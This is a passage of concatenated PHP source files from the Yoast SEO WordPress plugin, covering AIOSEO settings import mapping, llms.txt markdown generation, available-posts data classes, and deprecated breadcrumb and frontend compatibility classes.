	 * @var Post_Type_Helper
	 */
	protected $post_type;

	/**
	 * Aioseo_Custom_Archive_Settings_Importing_Action constructor.
	 *
	 * @param Import_Cursor_Helper              $import_cursor      The import cursor helper.
	 * @param Options_Helper                    $options            The options helper.
	 * @param Sanitization_Helper               $sanitization       The sanitization helper.
	 * @param Post_Type_Helper                  $post_type          The post type helper.
	 * @param Aioseo_Replacevar_Service         $replacevar_handler The replacevar handler.
	 * @param Aioseo_Robots_Provider_Service    $robots_provider    The robots provider service.
	 * @param Aioseo_Robots_Transformer_Service $robots_transformer The robots transfomer service.
	 */
	public function __construct(
		Import_Cursor_Helper $import_cursor,
		Options_Helper $options,
		Sanitization_Helper $sanitization,
		Post_Type_Helper $post_type,
		Aioseo_Replacevar_Service $replacevar_handler,
		Aioseo_Robots_Provider_Service $robots_provider,
		Aioseo_Robots_Transformer_Service $robots_transformer
	) {
		parent::__construct( $import_cursor, $options, $sanitization, $replacevar_handler, $robots_provider, $robots_transformer );

		$this->post_type = $post_type;
	}

	/**
	 * Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method.
	 *
	 * @return void
	 */
	protected function build_mapping() {
		$post_type_objects = \get_post_types( [ 'public' => true ], 'objects' );

		foreach ( $post_type_objects as $pt ) {
			// Use all the custom post types that have archives.
			if ( ! $pt->_builtin && $this->post_type->has_archive( $pt ) ) {
				$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/title' ]                       = [
					'yoast_name'       => 'title-ptarchive-' . $pt->name,
					'transform_method' => 'simple_import',
				];
				$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/metaDescription' ]             = [
					'yoast_name'       => 'metadesc-ptarchive-' . $pt->name,
					'transform_method' => 'simple_import',
				];
				$this->aioseo_options_to_yoast_map[ '/' . $pt->name . '/advanced/robotsMeta/noindex' ] = [
					'yoast_name'       => 'noindex-ptarchive-' . $pt->name,
					'transform_method' => 'import_noindex',
					'type'             => 'archives',
					'subtype'          => $pt->name,
					'option_name'      => 'aioseo_options_dynamic',
				];
			}
		}
	}
}
llms-txt/application/markdown-builders/markdown-builder.php000066600000005146152204306270020256 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Llms_Txt\Application\Markdown_Builders;

use Yoast\WP\SEO\Llms_Txt\Application\Markdown_Escaper;
use Yoast\WP\SEO\Llms_Txt\Domain\Markdown\Llms_Txt_Renderer;

/**
 * The builder of the markdown file.
 */
class Markdown_Builder {

	/**
	 * The renderer of the LLMs.txt file.
	 *
	 * @var Llms_Txt_Renderer
	 */
	protected $llms_txt_renderer;

	/**
	 * The intro builder.
	 *
	 * @var Intro_Builder
	 */
	protected $intro_builder;

	/**
	 * The title builder.
	 *
	 * @var Title_Builder
	 */
	protected $title_builder;

	/**
	 * The description builder.
	 *
	 * @var Description_Builder
	 */
	protected $description_builder;

	/**
	 * The link lists builder.
	 *
	 * @var Link_Lists_Builder
	 */
	protected $link_lists_builder;

	/**
	 * The markdown escaper.
	 *
	 * @var Markdown_Escaper
	 */
	protected $markdown_escaper;

	/**
	 * The constructor.
	 *
	 * @param Llms_Txt_Renderer   $llms_txt_renderer   The renderer of the LLMs.txt file.
	 * @param Intro_Builder       $intro_builder       The intro builder.
	 * @param Title_Builder       $title_builder       The title builder.
	 * @param Description_Builder $description_builder The description builder.
	 * @param Link_Lists_Builder  $link_lists_builder  The link lists builder.
	 * @param Markdown_Escaper    $markdown_escaper    The markdown escaper.
	 */
	public function __construct(
		Llms_Txt_Renderer $llms_txt_renderer,
		Intro_Builder $intro_builder,
		Title_Builder $title_builder,
		Description_Builder $description_builder,
		Link_Lists_Builder $link_lists_builder,
		Markdown_Escaper $markdown_escaper
	) {
		$this->llms_txt_renderer   = $llms_txt_renderer;
		$this->intro_builder       = $intro_builder;
		$this->title_builder       = $title_builder;
		$this->description_builder = $description_builder;
		$this->link_lists_builder  = $link_lists_builder;
		$this->markdown_escaper    = $markdown_escaper;
	}

	/**
	 * Renders the markdown.
	 *
	 * @return string The rendered markdown.
	 */
	public function render(): string {
		$this->llms_txt_renderer->add_section( $this->intro_builder->build_intro() );
		$this->llms_txt_renderer->add_section( $this->title_builder->build_title() );
		$this->llms_txt_renderer->add_section( $this->description_builder->build_description() );

		foreach ( $this->link_lists_builder->build_link_lists() as $link_list ) {
			$this->llms_txt_renderer->add_section( $link_list );
		}

		foreach ( $this->llms_txt_renderer->get_sections() as $section ) {
			$section->escape_markdown( $this->markdown_escaper );
		}

		return $this->llms_txt_renderer->render();
	}
}
llms-txt/application/available-posts/available-posts-repository.php000066600000003413152204306270021743 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Llms_Txt\Application\Available_Posts;

use Yoast\WP\SEO\Llms_Txt\Domain\Available_Posts\Data_Provider\Available_Posts_Data;
use Yoast\WP\SEO\Llms_Txt\Domain\Available_Posts\Data_Provider\Available_Posts_Repository_Interface;
use Yoast\WP\SEO\Llms_Txt\Domain\Available_Posts\Data_Provider\Data_Container;
use Yoast\WP\SEO\Llms_Txt\Domain\Available_Posts\Data_Provider\Parameters;
use Yoast\WP\SEO\Llms_Txt\Infrastructure\Content\Automatic_Post_Collection;

/**
 * The data provider for available posts.
 */
class Available_Posts_Repository implements Available_Posts_Repository_Interface {

	/**
	 * The automatic post collection.
	 *
	 * @var Automatic_Post_Collection $automatic_post_collection
	 */
	private $automatic_post_collection;

	/**
	 * The constructor.
	 *
	 * @param Automatic_Post_Collection $automatic_post_collection The automatic post collection.
	 */
	public function __construct(
		Automatic_Post_Collection $automatic_post_collection
	) {
		$this->automatic_post_collection = $automatic_post_collection;
	}

	/**
	 * Gets the available posts' data.
	 *
	 * @param Parameters $parameters The parameters to use for getting the available posts.
	 *
	 * @return Data_Container
	 */
	public function get_posts( Parameters $parameters ): Data_Container {
		$available_posts = $this->automatic_post_collection->get_recent_posts( $parameters->get_post_type(), 100, $parameters->get_search_filter(), true );

		$available_posts_data_container = new Data_Container();

		foreach ( $available_posts as $available_post ) {
			$available_posts_data_container->add_data( new Available_Posts_Data( $available_post ) );
		}

		return $available_posts_data_container;
	}
}
llms-txt/application/file/commands/remove-file-command-handler.php000066600000003463152204306270021340 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Llms_Txt\Application\File\Commands;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Llms_Txt\Infrastructure\File\WordPress_File_System_Adapter;
use Yoast\WP\SEO\Llms_Txt\Infrastructure\File\WordPress_Llms_Txt_Permission_Gate;

/**
 * Handles the removal of the llms.txt
 */
class Remove_File_Command_Handler {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The file system adapter.
	 *
	 * @var WordPress_File_System_Adapter
	 */
	private $file_system_adapter;

	/**
	 * The permission gate.
	 *
	 * @var WordPress_Llms_Txt_Permission_Gate $permission_gate
	 */
	private $permission_gate;

	/**
	 * Constructor.
	 *
	 * @param Options_Helper                     $options_helper      The options helper.
	 * @param WordPress_File_System_Adapter      $file_system_adapter The file system adapter.
	 * @param WordPress_Llms_Txt_Permission_Gate $permission_gate     The permission gate.
	 */
	public function __construct(
		Options_Helper $options_helper,
		WordPress_File_System_Adapter $file_system_adapter,
		WordPress_Llms_Txt_Permission_Gate $permission_gate
	) {
		$this->options_helper      = $options_helper;
		$this->file_system_adapter = $file_system_adapter;
		$this->permission_gate     = $permission_gate;
	}

	/**
	 * Runs the command.
	 *
	 * @return void
	 */
	public function handle() {
		if ( $this->permission_gate->is_managed_by_yoast_seo() ) {
			$file_removed = $this->file_system_adapter->remove_file();

			if ( $file_removed ) {
				// Maybe move this to a class if we need to handle this option more often.
				\update_option( Populate_File_Command_Handler::CONTENT_HASH_OPTION, '' );
			}
		}
	}
}
llms-txt/domain/content-types/content-type-entry.php000066600000006205152204306270016724 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Llms_Txt\Domain\Content_Types;

use WP_Post;
use Yoast\WP\SEO\Surfaces\Values\Meta;

/**
 * This class describes a Content Type Entry.
 */
class Content_Type_Entry {

	/**
	 * The ID of the content type entry.
	 *
	 * @var int
	 */
	private $id;

	/**
	 * The title of the content type entry.
	 *
	 * @var string
	 */
	private $title;

	/**
	 * The URL of the content type entry.
	 *
	 * @var string
	 */
	private $url;

	/**
	 * The description of the content type entry.
	 *
	 * @var string
	 */
	private $description;

	/**
	 * The slug of the content type entry.
	 *
	 * @var string
	 */
	private $slug;

	/**
	 * The constructor.
	 *
	 * @param int    $id          The ID of the content type entry.
	 * @param string $title       The title of the content type entry.
	 * @param string $url         The URL of the content type entry.
	 * @param string $description The description of the content type entry.
	 * @param string $slug        The slug of the content type entry.
	 */
	public function __construct(
		int $id,
		?string $title = null,
		?string $url = null,
		?string $description = null,
		?string $slug = null
	) {
		$this->id          = $id;
		$this->title       = $title;
		$this->url         = $url;
		$this->description = $description;
		$this->slug        = $slug;
	}

	/**
	 * Gets the ID of the content type entry.
	 *
	 * @return int The ID of the content type entry.
	 */
	public function get_id(): int {
		return $this->id;
	}

	/**
	 * Gets the title of the content type entry.
	 *
	 * @return string The title of the content type entry.
	 */
	public function get_title(): string {
		return $this->title;
	}

	/**
	 * Gets the URL of the content type entry.
	 *
	 * @return string The URL of the content type entry.
	 */
	public function get_url(): string {
		return $this->url;
	}

	/**
	 * Gets the description of the content type entry.
	 *
	 * @return string The description of the content type entry.
	 */
	public function get_description(): string {
		return $this->description;
	}

	/**
	 * Gets the slug of the content type entry.
	 *
	 * @return string The slug of the content type entry.
	 */
	public function get_slug(): string {
		return $this->slug;
	}

	/**
	 * Creates a new instance of the class from the provided Meta object.
	 *
	 * @param Meta $meta The Meta object containing the necessary data to construct the instance.
	 *
	 * @return self A new instance of the class.
	 */
	public static function from_meta( Meta $meta ): self {
		return new self(
			$meta->post->ID,
			$meta->post->post_title,
			$meta->canonical,
			$meta->post->post_excerpt,
			$meta->post->post_name
		);
	}

	/**
	 * Creates an instance of the class from a WordPress post object.
	 *
	 * @param WP_Post $post      The WordPress post object.
	 * @param string  $permalink The permalink of the post.
	 *
	 * @return self An instance of the class.
	 */
	public static function from_post( WP_Post $post, string $permalink ): self {
		return new self(
			$post->ID,
			$post->post_title,
			$permalink,
			$post->post_excerpt,
			$post->post_name
		);
	}
}
llms-txt/domain/available-posts/data-provider/data-container.php000066600000002232152204306270021034 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded -- Needed in the folder structure.
namespace Yoast\WP\SEO\Llms_Txt\Domain\Available_Posts\Data_Provider;

/**
 * The data container.
 */
class Data_Container {

	/**
	 * All the data points.
	 *
	 * @var array<Data_Interface>
	 */
	private $data_container;

	/**
	 * The constructor
	 */
	public function __construct() {
		$this->data_container = [];
	}

	/**
	 * Method to add data.
	 *
	 * @param Data_Interface $data The data.
	 *
	 * @return void
	 */
	public function add_data( Data_Interface $data ) {
		$this->data_container[] = $data;
	}

	/**
	 * Method to get all the data points.
	 *
	 * @return Data_Interface[] All the data points.
	 */
	public function get_data(): array {
		return $this->data_container;
	}

	/**
	 * Converts the data points into an array.
	 *
	 * @return array<string, string> The array of the data points.
	 */
	public function to_array(): array {
		$result = [];
		foreach ( $this->data_container as $data ) {
			$result[] = $data->to_array();
		}

		return $result;
	}
}
llms-txt/domain/available-posts/data-provider/data-interface.php000066600000000714152204306270021015 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded -- Needed in the folder structure.
namespace Yoast\WP\SEO\Llms_Txt\Domain\Available_Posts\Data_Provider;

/**
 * The interface to describe the data domain.
 */
interface Data_Interface {

	/**
	 * A to array method.
	 *
	 * @return array<string>
	 */
	public function to_array(): array;
}
llms-txt/domain/available-posts/data-provider/parameters.php000066600000002100152204306270020300 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded -- Needed in the folder structure.
namespace Yoast\WP\SEO\Llms_Txt\Domain\Available_Posts\Data_Provider;

/**
 * Object representation of the request parameters.
 */
class Parameters {

	/**
	 * The post type.
	 *
	 * @var string
	 */
	private $post_type;

	/**
	 * The search filter.
	 *
	 * @var string
	 */
	private $search_filter;

	/**
	 * Class constructor.
	 *
	 * @param string $post_type     The post type.
	 * @param string $search_filter The search filter.
	 */
	public function __construct( string $post_type, string $search_filter ) {
		$this->post_type     = $post_type;
		$this->search_filter = $search_filter;
	}

	/**
	 * Getter for the post type.
	 *
	 * @return string
	 */
	public function get_post_type(): string {
		return $this->post_type;
	}

	/**
	 * Getter for the search filter.
	 *
	 * @return string
	 */
	public function get_search_filter(): string {
		return $this->search_filter;
	}
}
llms-txt/domain/available-posts/data-provider/available-posts-repository-interface.php000066600000001221152204306270025401 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded -- Needed in the folder structure.
namespace Yoast\WP\SEO\Llms_Txt\Domain\Available_Posts\Data_Provider;

/**
 * Interface describing the way to get data for a specific data provider.
 */
interface Available_Posts_Repository_Interface {

	/**
	 * Method to get available posts from a provider.
	 *
	 * @param Parameters $parameters The parameter to get the available posts for.
	 *
	 * @return Data_Container
	 */
	public function get_posts( Parameters $parameters ): Data_Container;
}
llms-txt/domain/available-posts/data-provider/available-posts-data.php000066600000002162152204306270022142 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded -- Needed in the folder structure.
namespace Yoast\WP\SEO\Llms_Txt\Domain\Available_Posts\Data_Provider;

use Yoast\WP\SEO\Llms_Txt\Domain\Content_Types\Content_Type_Entry;

/**
 * Domain object that represents a Available Posts data record.
 */
class Available_Posts_Data implements Data_Interface {

	/**
	 * The content type entry.
	 *
	 * @var Content_Type_Entry
	 */
	private $content_type_entry;

	/**
	 * The constructor.
	 *
	 * @param Content_Type_Entry $content_type_entry The content type entry.
	 */
	public function __construct( Content_Type_Entry $content_type_entry ) {
		$this->content_type_entry = $content_type_entry;
	}

	/**
	 * The array representation of this domain object.
	 *
	 * @return array<string|float|int|string[]>
	 */
	public function to_array(): array {
		return [
			'id'    => $this->content_type_entry->get_id(),
			'title' => $this->content_type_entry->get_title(),
			'slug'  => $this->content_type_entry->get_slug(),
		];
	}
}
llms-txt/domain/available-posts/invalid-post-type-exception.php000066600000000672152204306270020774 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Llms_Txt\Domain\Available_Posts;

use Exception;

/**
 * Exception for when the post type asked is invalid.
 */
class Invalid_Post_Type_Exception extends Exception {

	/**
	 * Constructor of the exception.
	 */
	public function __construct() {
		parent::__construct( 'The post type asked is not valid', 400 );
	}
}
llms-txt/domain/markdown/sections/link-list.php000066600000003421152204306270015674 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Llms_Txt\Domain\Markdown\Sections;

use Yoast\WP\SEO\Llms_Txt\Application\Markdown_Escaper;
use Yoast\WP\SEO\Llms_Txt\Domain\Markdown\Items\Link;

/**
 * Represents a link list markdown section.
 */
class Link_List implements Section_Interface {

	/**
	 * The type of the links.
	 *
	 * @var string
	 */
	private $type;

	/**
	 * The links.
	 *
	 * @var Link[]
	 */
	private $links = [];

	/**
	 * Class constructor.
	 *
	 * @param string $type  The type of the links.
	 * @param Link[] $links The links.
	 */
	public function __construct( string $type, array $links ) {
		$this->type = $type;

		foreach ( $links as $link ) {
			$this->add_link( $link );
		}
	}

	/**
	 * Adds a link to the list.
	 *
	 * @param Link $link The link to add.
	 *
	 * @return void
	 */
	public function add_link( Link $link ): void {
		$this->links[] = $link;
	}

	/**
	 * Returns the prefix of the link list section.
	 *
	 * @return string
	 */
	public function get_prefix(): string {
		return '## ';
	}

	/**
	 * Renders the link item.
	 *
	 * @return string
	 */
	public function render(): string {
		if ( empty( $this->links ) ) {
			return '';
		}

		$rendered_links = [];
		foreach ( $this->links as $link ) {
			$rendered_links[] = '- ' . $link->render();
		}

		return $this->type . \PHP_EOL . \implode( \PHP_EOL, $rendered_links );
	}

	/**
	 * Escapes the markdown content.
	 *
	 * @param Markdown_Escaper $markdown_escaper The markdown escaper.
	 *
	 * @return void
	 */
	public function escape_markdown( Markdown_Escaper $markdown_escaper ): void {
		$this->type = $markdown_escaper->escape_markdown_content( $this->type );

		foreach ( $this->links as $link ) {
			$link->escape_markdown( $markdown_escaper );
		}
	}
}
llms-txt/domain/markdown/items/item-interface.php000066600000001060152204306270016151 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Llms_Txt\Domain\Markdown\Items;

use Yoast\WP\SEO\Llms_Txt\Application\Markdown_Escaper;
/**
 * Represents a markdown item.
 */
interface Item_Interface {

	/**
	 * Renders the item.
	 *
	 * @return string
	 */
	public function render(): string;

	/**
	 * Escapes the markdown content.
	 *
	 * @param Markdown_Escaper $markdown_escaper The markdown escaper.
	 *
	 * @return void
	 */
	public function escape_markdown( Markdown_Escaper $markdown_escaper ): void;
}
llms-txt/domain/markdown/items/link.php000066600000003063152204306270014217 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Llms_Txt\Domain\Markdown\Items;

use Yoast\WP\SEO\Llms_Txt\Application\Markdown_Escaper;

/**
 * Represents a link markdown item.
 */
class Link implements Item_Interface {

	/**
	 * The description that is part of this link.
	 *
	 * @var string
	 */
	private $description;

	/**
	 * The link text.
	 *
	 * @var string
	 */
	private $text;

	/**
	 * The anchor text.
	 *
	 * @var string
	 */
	private $anchor;

	/**
	 * Class constructor.
	 *
	 * @param string $text        The link text.
	 * @param string $anchor      The anchor text.
	 * @param string $description The description.
	 */
	public function __construct( string $text, string $anchor, string $description = '' ) {
		$this->text        = $text;
		$this->anchor      = $anchor;
		$this->description = $description;
	}

	/**
	 * Renders the link item.
	 *
	 * @return string
	 */
	public function render(): string {
		$description = ( $this->description !== '' ) ? ": $this->description" : '';
		return "[$this->text]($this->anchor)$description";
	}

	/**
	 * Escapes the markdown content.
	 *
	 * @param param Markdown_Escaper $markdown_escaper The markdown escaper.
	 *
	 * @return void
	 */
	public function escape_markdown( Markdown_Escaper $markdown_escaper ): void {
		$this->text        = $markdown_escaper->escape_markdown_content( $this->text );
		$this->description = $markdown_escaper->escape_markdown_content( $this->description );
		$this->anchor      = $markdown_escaper->escape_markdown_url( $this->anchor );
	}
}
deprecated/frontend/breadcrumbs.php000066600000006307152204306270013500 0ustar00<?php
/**
 * Backwards compatibility class for breadcrumbs.
 *
 * @package Yoast\YoastSEO\Backwards_Compatibility
 */

use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Breadcrumbs_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Class WPSEO_Breadcrumbs
 *
 * @codeCoverageIgnore Because of deprecation.
 */
class WPSEO_Breadcrumbs {

	/**
	 * Instance of this class.
	 *
	 * @var WPSEO_Breadcrumbs
	 */
	public static $instance;

	/**
	 * Last used 'before' string.
	 *
	 * @var string
	 */
	public static $before = '';

	/**
	 * Last used 'after' string.
	 *
	 * @var string
	 */
	public static $after = '';

	/**
	 * The memoizer for the meta tags context.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	protected $context_memoizer;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	protected $helpers;

	/**
	 * The replace vars helper
	 *
	 * @var WPSEO_Replace_Vars
	 */
	protected $replace_vars;

	/**
	 * WPSEO_Breadcrumbs constructor.
	 */
	public function __construct() {
		$this->context_memoizer = YoastSEO()->classes->get( Meta_Tags_Context_Memoizer::class );
		$this->helpers          = YoastSEO()->classes->get( Helpers_Surface::class );
		$this->replace_vars     = YoastSEO()->classes->get( WPSEO_Replace_Vars::class );
	}

	/**
	 * Get breadcrumb string using the singleton instance of this class.
	 *
	 * @param string $before  Optional string to prepend.
	 * @param string $after   Optional string to append.
	 * @param bool   $display Echo or return flag.
	 *
	 * @return string Returns the breadcrumbs as a string.
	 */
	public static function breadcrumb( $before = '', $after = '', $display = true ) {
		// Remember the last used before/after for use in case the object goes __toString().
		self::$before = $before;
		self::$after  = $after;
		$output       = $before . self::get_instance()->render() . $after;

		if ( $display === true ) {
			echo $output;

			return '';
		}

		return $output;
	}

	/**
	 * Magic method to use in case the class would be send to string.
	 *
	 * @return string The rendered breadcrumbs.
	 */
	public function __toString() {
		return self::$before . $this->render() . self::$after;
	}

	/**
	 * Retrieves an instance of the class.
	 *
	 * @return static The instance.
	 */
	public static function get_instance() {
		if ( self::$instance === null ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Returns the collected links for the breadcrumbs.
	 *
	 * @return array The collected links.
	 */
	public function get_links() {
		$context = $this->context_memoizer->for_current_page();

		return $context->presentation->breadcrumbs;
	}

	/**
	 * Renders the breadcrumbs.
	 *
	 * @return string The rendered breadcrumbs.
	 */
	private function render() {
		$presenter = new Breadcrumbs_Presenter();
		$context   = $this->context_memoizer->for_current_page();

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation            = apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
		$presenter->presentation = $presentation;
		$presenter->replace_vars = $this->replace_vars;
		$presenter->helpers      = $this->helpers;

		return $presenter->present();
	}
}
deprecated/frontend/frontend.php000066600000017040152204306270013022 0ustar00<?php
/**
 * Backwards compatibility class for WPSEO_Frontend.
 *
 * @package Yoast\YoastSEO\Backwards_Compatibility
 */

use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Canonical_Presenter;
use Yoast\WP\SEO\Presenters\Meta_Description_Presenter;
use Yoast\WP\SEO\Presenters\Rel_Next_Presenter;
use Yoast\WP\SEO\Presenters\Rel_Prev_Presenter;
use Yoast\WP\SEO\Presenters\Robots_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Class WPSEO_Frontend
 *
 * @codeCoverageIgnore Because of deprecation.
 */
class WPSEO_Frontend {

	/**
	 * Instance of this class.
	 *
	 * @var WPSEO_Frontend
	 */
	public static $instance;

	/**
	 * The memoizer for the meta tags context.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * The WPSEO Replace Vars object.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	private $replace_vars;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	private $helpers;

	/**
	 * WPSEO_Frontend constructor.
	 */
	public function __construct() {
		$this->context_memoizer = YoastSEO()->classes->get( Meta_Tags_Context_Memoizer::class );
		$this->replace_vars     = YoastSEO()->classes->get( WPSEO_Replace_Vars::class );
		$this->helpers          = YoastSEO()->classes->get( Helpers_Surface::class );
	}

	/**
	 * Catches call to methods that don't exist and might deprecated.
	 *
	 * @param string $method    The called method.
	 * @param array  $arguments The given arguments.
	 *
	 * @return mixed
	 */
	public function __call( $method, $arguments ) {
		_deprecated_function( $method, 'Yoast SEO 14.0' );

		$title_methods = [
			'title',
			'fix_woo_title',
			'get_content_title',
			'get_seo_title',
			'get_taxonomy_title',
			'get_author_title',
			'get_title_from_options',
			'get_default_title',
			'force_wp_title',
		];
		if ( in_array( $method, $title_methods, true ) ) {
			return $this->get_title();
		}

		return null;
	}

	/**
	 * Retrieves an instance of the class.
	 *
	 * @return static The instance.
	 */
	public static function get_instance() {
		if ( self::$instance === null ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Outputs the canonical value.
	 *
	 * @param bool $echo        Whether or not to output the canonical element.
	 * @param bool $un_paged    Whether or not to return the canonical with or without pagination added to the URL.
	 * @param bool $no_override Whether or not to return a manually overridden canonical.
	 *
	 * @return string|void
	 */
	public function canonical( $echo = true, $un_paged = false, $no_override = false ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation = $this->get_current_page_presentation();
		$presenter    = new Canonical_Presenter();

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presenter->presentation = $presentation;
		$presenter->helpers      = $this->helpers;
		$presenter->replace_vars = $this->replace_vars;

		if ( ! $echo ) {
			return $presenter->get();
		}

		echo $presenter->present();
	}

	/**
	 * Retrieves the meta robots value.
	 *
	 * @return string
	 */
	public function get_robots() {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation = $this->get_current_page_presentation();
		return $presentation->robots;
	}

	/**
	 * Outputs the meta robots value.
	 *
	 * @return void
	 */
	public function robots() {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation            = $this->get_current_page_presentation();
		$presenter               = new Robots_Presenter();
		$presenter->presentation = $presentation;
		$presenter->helpers      = $this->helpers;
		$presenter->replace_vars = $this->replace_vars;
		echo $presenter->present();
	}

	/**
	 * Determine $robots values for a single post.
	 *
	 * @param array $robots  Robots data array.
	 * @param int   $post_id The post ID for which to determine the $robots values, defaults to current post.
	 *
	 * @return array
	 */
	public function robots_for_single_post( $robots, $post_id = 0 ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation = $this->get_current_page_presentation();

		return $presentation->robots;
	}

	/**
	 * Used for static home and posts pages as well as singular titles.
	 *
	 * @param object|null $object If filled, object to get the title for.
	 *
	 * @return string The content title.
	 */
	private function get_title( $object = null ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation = $this->get_current_page_presentation();
		$title        = $presentation->title;

		return $this->replace_vars->replace( $title, $presentation->source );
	}

	/**
	 * This function adds paging details to the title.
	 *
	 * @param string $sep         Separator used in the title.
	 * @param string $seplocation Whether the separator should be left or right.
	 * @param string $title       The title to append the paging info to.
	 *
	 * @return string
	 */
	public function add_paging_to_title( $sep, $seplocation, $title ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		return $title;
	}

	/**
	 * Add part to title, while ensuring that the $seplocation variable is respected.
	 *
	 * @param string $sep         Separator used in the title.
	 * @param string $seplocation Whether the separator should be left or right.
	 * @param string $title       The title to append the title_part to.
	 * @param string $title_part  The part to append to the title.
	 *
	 * @return string
	 */
	public function add_to_title( $sep, $seplocation, $title, $title_part ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		if ( $seplocation === 'right' ) {
			return $title . $sep . $title_part;
		}

		return $title_part . $sep . $title;
	}

	/**
	 * Adds 'prev' and 'next' links to archives.
	 *
	 * @link http://googlewebmastercentral.blogspot.com/2011/09/pagination-with-relnext-and-relprev.html
	 *
	 * @return void
	 */
	public function adjacent_rel_links() {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation = $this->get_current_page_presentation();

		$rel_prev_presenter               = new Rel_Prev_Presenter();
		$rel_prev_presenter->presentation = $presentation;
		$rel_prev_presenter->helpers      = $this->helpers;
		$rel_prev_presenter->replace_vars = $this->replace_vars;
		echo $rel_prev_presenter->present();

		$rel_next_presenter               = new Rel_Next_Presenter();
		$rel_next_presenter->presentation = $presentation;
		$rel_next_presenter->helpers      = $this->helpers;
		$rel_next_presenter->replace_vars = $this->replace_vars;
		echo $rel_next_presenter->present();
	}

	/**
	 * Outputs the meta description element or returns the description text.
	 *
	 * @param bool $echo Echo or return output flag.
	 *
	 * @return string
	 */
	public function metadesc( $echo = true ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation            = $this->get_current_page_presentation();
		$presenter               = new Meta_Description_Presenter();
		$presenter->presentation = $presentation;
		$presenter->helpers      = $this->helpers;
		$presenter->replace_vars = $this->replace_vars;

		if ( ! $echo ) {
			return $presenter->get();
		}
		$presenter->present();
	}

	/**
	 * Returns the current page presentation.
	 *
	 * @return Indexable_Presentation The current page presentation.
	 */
	private function get_current_page_presentation() {
		$context = $this->context_memoizer->for_current_page();

		/** This filter is documented in src/integrations/front-end-integration.php */
		return apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
	}
}
deprecated/src/helpers/request-helper.php000066600000001057152204306270014563 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for the request state.
 *
 * @deprecated 23.6
 * @codeCoverageIgnore Because of deprecation.
 */
class Request_Helper {

	/**
	 * Checks if the current request is a REST request.
	 *
	 * @deprecated 23.6
	 * @codeCoverageIgnore
	 *
	 * @return bool True when the current request is a REST request.
	 */
	public function is_rest_request() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.6', 'wp_is_serving_rest_request' );

		return \defined( 'REST_REQUEST' ) && \REST_REQUEST === true;
	}
}
generators/schema/abstract-schema-piece.php000066600000001432152204306270015017 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Class Abstract_Schema_Piece.
 */
abstract class Abstract_Schema_Piece {

	/**
	 * The meta tags context.
	 *
	 * @var Meta_Tags_Context
	 */
	public $context;

	/**
